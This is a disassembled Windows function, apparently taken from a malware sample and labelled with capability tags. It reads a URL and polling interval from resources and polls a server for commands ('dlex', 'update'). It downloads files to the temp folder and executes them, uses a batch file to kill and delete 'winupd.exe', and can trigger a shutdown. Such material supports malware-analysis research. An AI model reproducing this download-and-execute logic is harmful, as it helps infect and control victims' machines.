Function at 0x402e10
Capabilities:
Create http request
Create process on windows
Download url
Extract resource via kernel32 functions
Get common file path
Read data from internet
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x854
mov eax, dword [0x4543f8]
xor eax, esp
mov dword [esp + 0x850], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_FindResourceA]
push 0x44daa4
push 0x44daa4
push 0
call edi
mov ebx, dword [sym.imp.KERNEL32.DLL_LoadResource]
mov esi, eax
push esi
push 0
call ebx
test esi, esi
je 0x402e61
test eax, eax
je 0x402e61
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [esp + 0x40], eax
push str.INTERVAL
push str.INTERVAL
push 0
call edi
mov esi, eax
push esi
push 0
call ebx
test esi, esi
je 0x402e89
test eax, eax
je 0x402e89
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [esp + 0x10], eax
push 0x44dab4
push 0x44dab4
push 0
call edi
mov esi, eax
push esi
push 0
call ebx
test esi, esi
je 0x402eb1
test eax, eax
je 0x402eb1
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov esi, eax
jmp 0x402eb5
mov esi, dword [esp + 0x38]
mov eax, dword [esp + 0x40]
push eax
lea ecx, [esp + 0x1cc]
call fcn.00403ef0
lea ecx, [esp + 0x1c8]
push ecx
lea edx, [esp + 0xc4]
push edx
call fcn.00405b80
xor ebx, ebx
mov dword [esp + 0x1a8], ebx
mov dword [esp + 0x1c4], 0xf
mov dword [esp + 0x1c0], ebx
mov byte [esp + 0x1b0], bl
lea ecx, [ecx]
mov eax, 0x402180
test eax, eax
jne 0x402f20
push 0xaa
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludeistream
push str.invalid_null_pointer
call fcn.0040f260
add esp, 0xc
mov ecx, dword [esp + 0xc0]
mov eax, dword [ecx + 4]
mov edx, dword [esp + eax + 0xd0]
lea eax, [esp + eax + 0xc0]
and edx, 0xfffff9ff
or edx, 0x800
mov dword [eax + 0x10], edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0xc4]
push ecx
call fcn.004044b0
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x402f89
mov eax, dword [esp + 0x3c]
push eax
lea ecx, [esp + 0x1ac]
push ecx
call fcn.004042a0
jmp 0x402f00
cmp dword [esp + 0x1c4], 0x10
mov edi, dword [esp + 0x1b0]
jae 0x402fa1
lea edi, [esp + 0x1b0]
mov dword [esp + 0x40], edi
cmp esi, ebx
je 0x402fe8
mov edx, dword [esp + 0x38]
push edx
call fcn.004138f0
add esp, 4
mov esi, eax
call fcn.004021e0
cmp esi, 1
je 0x402fc7
cmp esi, 2
jne 0x402fe8
cmp al, 1
jne 0x402fe8
cmp esi, 1
jne 0x402fd6
push ebx
call fcn.00413320
cmp esi, 2
jne 0x402fe8
push str._systemroot_System32Shutdown.exe__s__f__t_0
call fcn.00413910
add esp, 4
call fcn.00402290
mov eax, dword [esp + 0x10]
push eax
call fcn.004138f0
mov dword [esp + 0x3c], eax
mov eax, 0xf
add esp, 4
mov dword [esp + 0x168], ebx
mov dword [esp + 0x184], eax
mov dword [esp + 0x180], ebx
mov byte [esp + 0x170], bl
mov dword [esp + 0x188], ebx
mov dword [esp + 0x1a4], eax
mov dword [esp + 0x1a0], ebx
mov byte [esp + 0x190], bl
jmp 0x403040
lea edx, [esp + 0x300]
mov eax, edi
sub edx, edi
jmp 0x403050
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403050
lea ecx, [esp + 0x1e8]
push 0xa
push ecx
call fcn.00402d60
push eax
call fcn.00413a70
lea eax, [esp + 0x1f4]
add esp, 0xc
mov esi, eax
jmp 0x403080
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403080
lea edi, [esp + 0x300]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403091
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push ebx
push ebx
push ebx
mov ecx, eax
push ebx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x80000000
push ebx
push ebx
lea edx, [esp + 0x310]
push edx
push eax
mov dword [esp + 0xb0], eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [esp + 0x3c], eax
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0xa8]
push eax
push 0x200
lea ecx, [esp + 0x460]
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
setne al
mov byte [esp + 0x37], al
test al, al
mov eax, dword [esp + 0xa8]
je 0x403110
cmp eax, ebx
je 0x403eb6
mov byte [esp + eax + 0x458], 0
lea eax, [esp + 0x458]
mov dword [esp + 0x148], ebx
mov dword [esp + 0x164], 0xf
mov dword [esp + 0x160], ebx
mov byte [esp + 0x150], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403143
sub eax, edx
push eax
lea eax, [esp + 0x45c]
push eax
lea ecx, [esp + 0x150]
call fcn.00406880
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x150]
push ecx
lea ecx, [esp + 0x174]
call fcn.004067a0
push str.p0rn0
lea ecx, [esp + 0x48]
call fcn.00403ef0
mov eax, dword [esp + 0x160]
mov ecx, dword [esp + 0x5c]
cmp eax, ecx
jb 0x4032bc
cmp eax, ebx
je 0x4032bc
xor edi, edi
cmp ecx, ebx
jbe 0x4032b8
jmp 0x4031b7
mov eax, dword [esp + 0x160]
cmp dword [esp + 0x148], 0xfffffffd
je 0x40321d
cmp eax, edi
jae 0x40321d
push 0x631
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.string_subscript_out_of_range
call fcn.0040f260
add esp, 0xc
push str.__Standard_C_Libraries_Out_of_Range___0_
push ebx
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push 2
call fcn.00411ef0
add esp, 0x14
cmp eax, 1
jne 0x4031fc
int3
push ebx
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.std::basic_string_char_struct_std::char_traits_char__class_std::allocator_char___::operator___
push str._out_of_range_
call fcn.004123f0
mov ecx, dword [esp + 0x70]
add esp, 0x14
cmp dword [esp + 0x164], 0x10
mov esi, dword [esp + 0x150]
jae 0x403235
lea esi, [esp + 0x150]
cmp dword [esp + 0x44], 0xfffffffd
je 0x403298
cmp ecx, edi
jae 0x403298
push 0x631
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.string_subscript_out_of_range
call fcn.0040f260
add esp, 0xc
push str.__Standard_C_Libraries_Out_of_Range___0_
push ebx
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push 2
call fcn.00411ef0
add esp, 0x14
cmp eax, 1
jne 0x403277
int3
push ebx
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.std::basic_string_char_struct_std::char_traits_char__class_std::allocator_char___::operator___
push str._out_of_range_
call fcn.004123f0
mov ecx, dword [esp + 0x70]
add esp, 0x14
cmp dword [esp + 0x60], 0x10
mov eax, dword [esp + 0x4c]
jae 0x4032a7
lea eax, [esp + 0x4c]
mov dl, byte [esi + edi]
cmp dl, byte [eax + edi]
jne 0x4032bc
inc edi
cmp edi, ecx
jb 0x4031b0
mov bl, 1
jmp 0x4032be
xor bl, bl
cmp dword [esp + 0x60], 0x10
jb 0x4032d2
mov eax, dword [esp + 0x4c]
push eax
call fcn.00411960
add esp, 4
xor esi, esi
push 3
lea ecx, [esp + 0xa8]
mov dword [esp + 0x64], 0xf
mov dword [esp + 0x60], esi
mov byte [esp + 0x50], 0
call fcn.0040f1f0
mov eax, dword [esp + 0x44]
cmp eax, 0xfffffffd
je 0x403315
cmp eax, esi
je 0x403311
mov dword [eax], esi
mov ecx, dword [esp + 0x44]
mov eax, dword [ecx + 4]
mov dword [esp + 0x44], eax
cmp eax, esi
jne 0x403300
mov dword [esp + 0x44], esi
lea ecx, [esp + 0xa4]
call fcn.0040f230
test bl, bl
je 0x403e21
cmp dword [esp + 0x1a4], 0x10
mov eax, dword [esp + 0x1a0]
mov ebx, dword [esp + 0x190]
mov esi, eax
mov dword [esp + 0x10], esi
jae 0x40334e
lea ebx, [esp + 0x190]
mov edi, dword [esp + 0x180]
test eax, eax
je 0x403381
test ebx, ebx
jne 0x403381
push 0x7fa
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.invalid_null_pointer
call fcn.0040f260
mov eax, dword [esp + 0x18c]
add esp, 0xc
cmp eax, edi
jae 0x403381
mov edi, eax
mov edx, edi
cmp edi, esi
jb 0x403389
mov edx, esi
cmp dword [esp + 0x184], 0x10
mov esi, dword [esp + 0x170]
jae 0x4033a1
lea esi, [esp + 0x170]
mov ecx, ebx
cmp edx, 4
jb 0x4033bc
mov eax, dword [esi]
cmp eax, dword [ecx]
jne 0x4033c0
sub edx, 4
add ecx, 4
add esi, 4
cmp edx, 4
jae 0x4033a8
test edx, edx
je 0x403405
movzx eax, byte [esi]
movzx ebx, byte [ecx]
sub eax, ebx
jne 0x4033fb
cmp edx, 1
jbe 0x403405
movzx eax, byte [esi + 1]
movzx ebx, byte [ecx + 1]
sub eax, ebx
jne 0x4033fb
cmp edx, 2
jbe 0x403405
movzx eax, byte [esi + 2]
movzx ebx, byte [ecx + 2]
sub eax, ebx
jne 0x4033fb
cmp edx, 3
jbe 0x403405
movzx eax, byte [esi + 3]
movzx ecx, byte [ecx + 3]
sub eax, ecx
sar eax, 0x1f
or eax, 1
xor esi, esi
jmp 0x403409
xor esi, esi
xor eax, eax
cmp eax, esi
jne 0x403426
mov eax, dword [esp + 0x10]
cmp edi, eax
jb 0x403426
xor edx, edx
cmp edi, eax
setne dl
mov eax, edx
cmp eax, esi
je 0x403e21
push 0xffffffffffffffff
push esi
lea eax, [esp + 0x150]
push eax
lea ecx, [esp + 0x194]
call fcn.004067a0
push 0x44daf4
lea ecx, [esp + 0x18]
call fcn.00403ef0
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14c]
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.004023f0
add esp, 0xc
cmp dword [esp + 0x30], 0x10
jb 0x403479
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.00411960
add esp, 4
push 3
lea ecx, [esp + 0x8c]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], esi
mov byte [esp + 0x20], 0
call fcn.0040f1f0
mov eax, dword [esp + 0x14]
cmp eax, 0xfffffffd
je 0x4034ba
cmp eax, esi
je 0x4034b6
mov dword [eax], esi
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 4]
mov dword [esp + 0x14], eax
cmp eax, esi
jne 0x4034a5
mov dword [esp + 0x14], esi
lea ecx, [esp + 0x88]
call fcn.0040f230
mov dword [esp + 0x10], esi
lea ebx, [ebx]
push str.dlex
lea ecx, [esp + 0x18]
call fcn.00403ef0
mov edi, dword [esp + 0x10]
lea esi, [esp + 0x44]
call fcn.004059d0
mov ecx, dword [esp + 0x2c]
mov ebx, eax
mov eax, dword [ebx + 0x18]
cmp eax, ecx
jb 0x403609
test eax, eax
je 0x403609
xor edi, edi
test ecx, ecx
jbe 0x403605
cmp dword [ebx], 0xfffffffd
je 0x403572
cmp dword [ebx + 0x18], edi
jae 0x403572
push 0x631
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.string_subscript_out_of_range
call fcn.0040f260
add esp, 0xc
push str.__Standard_C_Libraries_Out_of_Range___0_
push 0
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push 2
call fcn.00411ef0
add esp, 0x14
cmp eax, 1
jne 0x403550
int3
push 0
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.std::basic_string_char_struct_std::char_traits_char__class_std::allocator_char___::operator___
push str._out_of_range_
call fcn.004123f0
mov ecx, dword [esp + 0x40]
add esp, 0x14
cmp dword [ebx + 0x1c], 0x10
jb 0x40357d
mov esi, dword [ebx + 8]
jmp 0x403580
lea esi, [ebx + 8]
cmp dword [esp + 0x14], 0xfffffffd
je 0x4035e5
cmp ecx, edi
jae 0x4035e5
push 0x631
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.string_subscript_out_of_range
call fcn.0040f260
add esp, 0xc
push str.__Standard_C_Libraries_Out_of_Range___0_
push 0
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push 2
call fcn.00411ef0
add esp, 0x14
cmp eax, 1
jne 0x4035c3
int3
push 0
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.std::basic_string_char_struct_std::char_traits_char__class_std::allocator_char___::operator___
push str._out_of_range_
call fcn.004123f0
mov ecx, dword [esp + 0x40]
add esp, 0x14
cmp dword [esp + 0x30], 0x10
mov eax, dword [esp + 0x1c]
jae 0x4035f4
lea eax, [esp + 0x1c]
mov dl, byte [edi + esi]
cmp dl, byte [edi + eax]
jne 0x403609
inc edi
cmp edi, ecx
jb 0x40350e
mov bl, 1
jmp 0x40360b
xor bl, bl
cmp dword [esp + 0x30], 0x10
jb 0x40361f
mov eax, dword [esp + 0x1c]
push eax
call fcn.00411960
add esp, 4
xor esi, esi
push 3
lea ecx, [esp + 0x94]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], esi
mov byte [esp + 0x20], 0
call fcn.0040f1f0
mov eax, dword [esp + 0x14]
cmp eax, 0xfffffffd
je 0x403665
cmp eax, esi
je 0x403661
lea ecx, [ecx]
mov dword [eax], esi
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 4]
mov dword [esp + 0x14], eax
cmp eax, esi
jne 0x403650
mov dword [esp + 0x14], esi
lea ecx, [esp + 0x90]
call fcn.0040f230
test bl, bl
je 0x403861
push 0x44d760
lea ecx, [esp + 0x68]
call fcn.00403ef0
mov edi, dword [esp + 0x10]
lea edx, [esp + 0x64]
push edx
lea esi, [esp + 0x48]
call fcn.004059d0
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.004023f0
add esp, 0xc
cmp dword [esp + 0x80], 0x10
jb 0x4036be
mov ecx, dword [esp + 0x6c]
push ecx
call fcn.00411960
add esp, 4
xor ebx, ebx
push 3
lea ecx, [esp + 0xa4]
mov dword [esp + 0x84], 0xf
mov dword [esp + 0x80], ebx
mov byte [esp + 0x70], bl
call fcn.0040f1f0
mov eax, dword [esp + 0x64]
cmp eax, 0xfffffffd
je 0x403706
cmp eax, ebx
je 0x403702
mov dword [eax], ebx
mov edx, dword [esp + 0x64]
mov eax, dword [edx + 4]
mov dword [esp + 0x64], eax
cmp eax, ebx
jne 0x4036f1
mov dword [esp + 0x64], ebx
lea ecx, [esp + 0xa0]
call fcn.0040f230
lea eax, [esp + 0x1f8]
push eax
push 0x400
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov edi, 2
lea esi, [esp + 0x14]
call fcn.004059d0
cmp dword [eax + 0x1c], 0x10
jb 0x40373e
mov eax, dword [eax + 8]
jmp 0x403741
add eax, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403743
lea edi, [esp + 0x1f8]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403754
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 1
lea esi, [esp + 0x14]
call fcn.004059d0
cmp dword [eax + 0x1c], 0x10
jb 0x403785
mov eax, dword [eax + 8]
jmp 0x403788
add eax, 8
push ebx
push ebx
lea ecx, [esp + 0x200]
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
push 5
lea edx, [esp + 0x1fc]
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
cmp dword [esp + 0x1c], ebx
je 0x403811
push 3
lea ecx, [esp + 0x90]
call fcn.0040f1f0
mov eax, dword [esp + 0x14]
cmp eax, 0xfffffffd
je 0x4037e5
cmp eax, ebx
je 0x4037e1
lea ebx, [ebx]
mov dword [eax], ebx
mov eax, dword [esp + 0x14]
mov eax, dword [eax + 4]
mov dword [esp + 0x14], eax
cmp eax, ebx
jne 0x4037d0
mov dword [esp + 0x14], ebx
lea ecx, [esp + 0x8c]
call fcn.0040f230
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
push ecx
push edx
call fcn.0040e470
mov eax, dword [esp + 0x24]
push eax
call fcn.00411960
add esp, 0xc
push 3
lea ecx, [esp + 0xb0]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
call fcn.0040f1f0
mov eax, dword [esp + 0x14]
cmp eax, 0xfffffffd
je 0x403855
cmp eax, ebx
je 0x403851
jmp 0x403840
mov dword [eax], ebx
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 4]
mov dword [esp + 0x14], eax
cmp eax, ebx
jne 0x403840
mov dword [esp + 0x14], ebx
lea ecx, [esp + 0xac]
call fcn.0040f230
push str.update
lea ecx, [esp + 0x18]
call fcn.00403ef0
mov edi, dword [esp + 0x10]
lea esi, [esp + 0x44]
call fcn.004059d0
mov ecx, dword [esp + 0x2c]
mov ebx, eax
mov eax, dword [ebx + 0x18]
cmp eax, ecx
jb 0x40399a
test eax, eax
je 0x40399a
xor edi, edi
test ecx, ecx
jbe 0x403996
cmp dword [ebx], 0xfffffffd
je 0x403903
cmp dword [ebx + 0x18], edi
jae 0x403903
push 0x631
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.string_subscript_out_of_range
call fcn.0040f260
add esp, 0xc
push str.__Standard_C_Libraries_Out_of_Range___0_
push 0
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push 2
call fcn.00411ef0
add esp, 0x14
cmp eax, 1
jne 0x4038e1
int3
push 0
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.std::basic_string_char_struct_std::char_traits_char__class_std::allocator_char___::operator___
push str._out_of_range_
call fcn.004123f0
mov ecx, dword [esp + 0x40]
add esp, 0x14
cmp dword [ebx + 0x1c], 0x10
jb 0x40390e
mov esi, dword [ebx + 8]
jmp 0x403911
lea esi, [ebx + 8]
cmp dword [esp + 0x14], 0xfffffffd
je 0x403976
cmp ecx, edi
jae 0x403976
push 0x631
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.string_subscript_out_of_range
call fcn.0040f260
add esp, 0xc
push str.__Standard_C_Libraries_Out_of_Range___0_
push 0
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push 2
call fcn.00411ef0
add esp, 0x14
cmp eax, 1
jne 0x403954
int3
push 0
push 0x632
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCincludexstring
push str.std::basic_string_char_struct_std::char_traits_char__class_std::allocator_char___::operator___
push str._out_of_range_
call fcn.004123f0
mov ecx, dword [esp + 0x40]
add esp, 0x14
cmp dword [esp + 0x30], 0x10
mov eax, dword [esp + 0x1c]
jae 0x403985
lea eax, [esp + 0x1c]
mov dl, byte [edi + esi]
cmp dl, byte [edi + eax]
jne 0x40399a
inc edi
cmp edi, ecx
jb 0x40389f
mov bl, 1
jmp 0x40399c
xor bl, bl
cmp dword [esp + 0x30], 0x10
jb 0x4039b0
mov eax, dword [esp + 0x1c]
push eax
call fcn.00411960
add esp, 4
xor esi, esi
push 3
lea ecx, [esp + 0x98]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], esi
mov byte [esp + 0x20], 0
call fcn.0040f1f0
mov eax, dword [esp + 0x14]
cmp eax, 0xfffffffd
je 0x4039f5
cmp eax, esi
je 0x4039f1
mov edi, edi
mov dword [eax], esi
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 4]
mov dword [esp + 0x14], eax
cmp eax, esi
jne 0x4039e0
mov dword [esp + 0x14], esi
lea ecx, [esp + 0x94]
call fcn.0040f230
test bl, bl
je 0x403d61
push 0x44d760
lea ecx, [esp + 0x68]
call fcn.00403ef0
mov edi, dword [esp + 0x10]
lea edx, [esp + 0x64]
push edx
lea esi, [esp + 0x48]
call fcn.004059d0
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.004023f0
mov ebx, 0x10
add esp, 0xc
cmp dword [esp + 0x80], ebx
jb 0x403a52
mov ecx, dword [esp + 0x6c]
push ecx
call fcn.00411960
add esp, 4
xor esi, esi
push 3
lea ecx, [esp + 0xb8]
mov dword [esp + 0x84], 0xf
mov dword [esp + 0x80], esi
mov byte [esp + 0x70], 0
call fcn.0040f1f0
mov eax, dword [esp + 0x64]
cmp eax, 0xfffffffd
je 0x403a9b
cmp eax, esi
je 0x403a97
mov dword [eax], esi
mov edx, dword [esp + 0x64]
mov eax, dword [edx + 4]
mov dword [esp + 0x64], eax
cmp eax, esi
jne 0x403a86
mov dword [esp + 0x64], esi
lea ecx, [esp + 0xb4]
call fcn.0040f230
lea eax, [esp + 0x350]
push eax
push 0x400
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov edi, 2
lea esi, [esp + 0x14]
call fcn.004059d0
cmp dword [eax + 0x1c], ebx
jb 0x403ad2
mov eax, dword [eax + 8]
jmp 0x403ad5
add eax, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403ad7
lea edi, [esp + 0x350]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403ae8
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 1
lea esi, [esp + 0x14]
call fcn.004059d0
cmp dword [eax + 0x1c], ebx
jb 0x403b18
mov eax, dword [eax + 8]
jmp 0x403b1b
add eax, 8
push 0
push 0
lea ecx, [esp + 0x358]
push ecx
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
push str.APPDATA
call fcn.00412d60
add esp, 4
lea edx, [esp + 0x1f8]
push edx
mov ebx, eax
call fcn.00406210
mov edi, 2
lea esi, [esp + 0x14]
call fcn.004059d0
cmp dword [eax + 0x1c], 0x10
jb 0x403b64
mov eax, dword [eax + 8]
jmp 0x403b67
add eax, 8
dec eax
lea ecx, [eax + 1]
jmp 0x403b70
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x403b70
mov edx, dword [str..bat]
mov dword [eax], edx
mov dl, byte [0x44db0c]
mov byte [eax + 4], dl
push 2
lea edx, [esp + 0x208]
call fcn.00406eb0
test eax, eax
jne 0x403bd1
mov eax, dword [esp + 0x1f8]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x200]
lea ecx, [esp + ecx + 0x1f8]
or eax, 2
cmp dword [ecx + 0x28], 0
jne 0x403bbf
or eax, 4
and eax, 0x17
mov dword [ecx + 8], eax
test dword [ecx + 0xc], eax
je 0x403bd1
push 0
call fcn.00401f50
push str._ndel__0
push ecx
lea ecx, [esp + 0x358]
push ecx
push ecx
push str._n_start
push ecx
push ebx
push ecx
lea edx, [esp + 0x220]
push str.TASKKILL__F__IM_winupd.exe_ndel__f__q
push edx
call fcn.0040bc90
add esp, 0xc
push eax
call fcn.0040bc90
add esp, 0xc
push eax
call fcn.0040bc90
add esp, 0xc
push eax
call fcn.0040bc90
add esp, 0xc
push eax
call fcn.0040bc90
add esp, 8
lea esi, [esp + 0x204]
call fcn.00406f50
test eax, eax
jne 0x403c67
mov eax, dword [esp + 0x1f8]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x200]
lea ecx, [esp + ecx + 0x1f8]
or eax, 2
cmp dword [ecx + 0x28], 0
jne 0x403c55
or eax, 4
and eax, 0x17
mov dword [ecx + 8], eax
test dword [ecx + 0xc], eax
je 0x403c67
push 0
call fcn.00401f50
lea esi, [esp + 0x14]
call fcn.004059d0
cmp dword [eax + 0x1c], 0x10
jb 0x403c7b
mov eax, dword [eax + 8]
jmp 0x403c7e
add eax, 8
push eax
call fcn.00413910
add esp, 4
lea ecx, [esp + 0x254]
call fcn.00406300
lea ecx, [esp + 0x254]
push ecx
mov dword [esp + method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00410650
xor esi, esi
add esp, 4
cmp dword [esp + 0x1c], esi
je 0x403d12
push 3
lea ecx, [esp + 0xc0]
call fcn.0040f1f0
mov eax, dword [esp + 0x14]
cmp eax, 0xfffffffd
je 0x403ce6
cmp eax, esi
je 0x403ce2
mov dword [eax], esi
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 4]
mov dword [esp + 0x14], eax
cmp eax, esi
jne 0x403cd1
mov dword [esp + 0x14], esi
lea ecx, [esp + 0xbc]
call fcn.0040f230
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push ecx
call fcn.0040e470
mov edx, dword [esp + 0x24]
push edx
call fcn.00411960
add esp, 0xc
push 3
lea ecx, [esp + 0xa0]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
call fcn.0040f1f0
mov eax, dword [esp + 0x14]
cmp eax, 0xfffffffd
je 0x403d55
cmp eax, esi
je 0x403d51
lea esp, [esp]
mov dword [eax], esi
mov eax, dword [esp + 0x14]
mov eax, dword [eax + 4]
mov dword [esp + 0x14], eax
cmp eax, esi
jne 0x403d40
mov dword [esp + 0x14], esi
lea ecx, [esp + 0x9c]
call fcn.0040f230
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0xa
mov dword [esp + 0x10], eax
jl 0x4034d0
xor esi, esi
cmp dword [esp + 0x4c], esi
je 0x403dd7
push 3
lea ecx, [esp + 0xb4]
call fcn.0040f1f0
mov eax, dword [esp + 0x44]
cmp eax, 0xfffffffd
je 0x403dab
cmp eax, esi
je 0x403da7
mov dword [eax], esi
mov ecx, dword [esp + 0x44]
mov eax, dword [ecx + 4]
mov dword [esp + 0x44], eax
cmp eax, esi
jne 0x403d96
mov dword [esp + 0x44], esi
lea ecx, [esp + 0xb0]
call fcn.0040f230
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x50]
push edx
push eax
mov eax, dword [esp + 0x54]
call fcn.0040e470
mov ecx, dword [esp + 0x54]
push ecx
call fcn.00411960
add esp, 0xc
push 3
lea ecx, [esp + 0x88]
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], esi
call fcn.0040f1f0
mov eax, dword [esp + 0x44]
cmp eax, 0xfffffffd
je 0x403e15
cmp eax, esi
je 0x403e11
mov edi, edi
mov dword [eax], esi
mov edx, dword [esp + 0x44]
mov eax, dword [edx + 4]
mov dword [esp + 0x44], eax
cmp eax, esi
jne 0x403e00
mov dword [esp + 0x44], esi
lea ecx, [esp + 0x84]
call fcn.0040f230
cmp dword [esp + 0x164], 0x10
jb 0x403e3b
mov eax, dword [esp + 0x150]
push eax
call fcn.00411960
add esp, 4
xor esi, esi
push 3
lea ecx, [esp + 0xbc]
mov dword [esp + 0x168], 0xf
mov dword [esp + 0x164], esi
mov byte [esp + 0x154], 0
call fcn.0040f1f0
mov eax, dword [esp + 0x148]
cmp eax, 0xfffffffd
je 0x403e9e
cmp eax, esi
je 0x403e97
jmp 0x403e80
mov dword [eax], esi
mov ecx, dword [esp + 0x148]
mov eax, dword [ecx + 4]
mov dword [esp + 0x148], eax
cmp eax, esi
jne 0x403e80
mov dword [esp + 0x148], esi
lea ecx, [esp + 0xb8]
call fcn.0040f230
xor ebx, ebx
cmp byte [esp + 0x37], bl
jne 0x4030d4
mov edx, dword [esp + 0x3c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
mov eax, dword [esp + 0x98]
push eax
call esi
mov ecx, dword [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, dword [esp + 0x40]
jmp 0x403040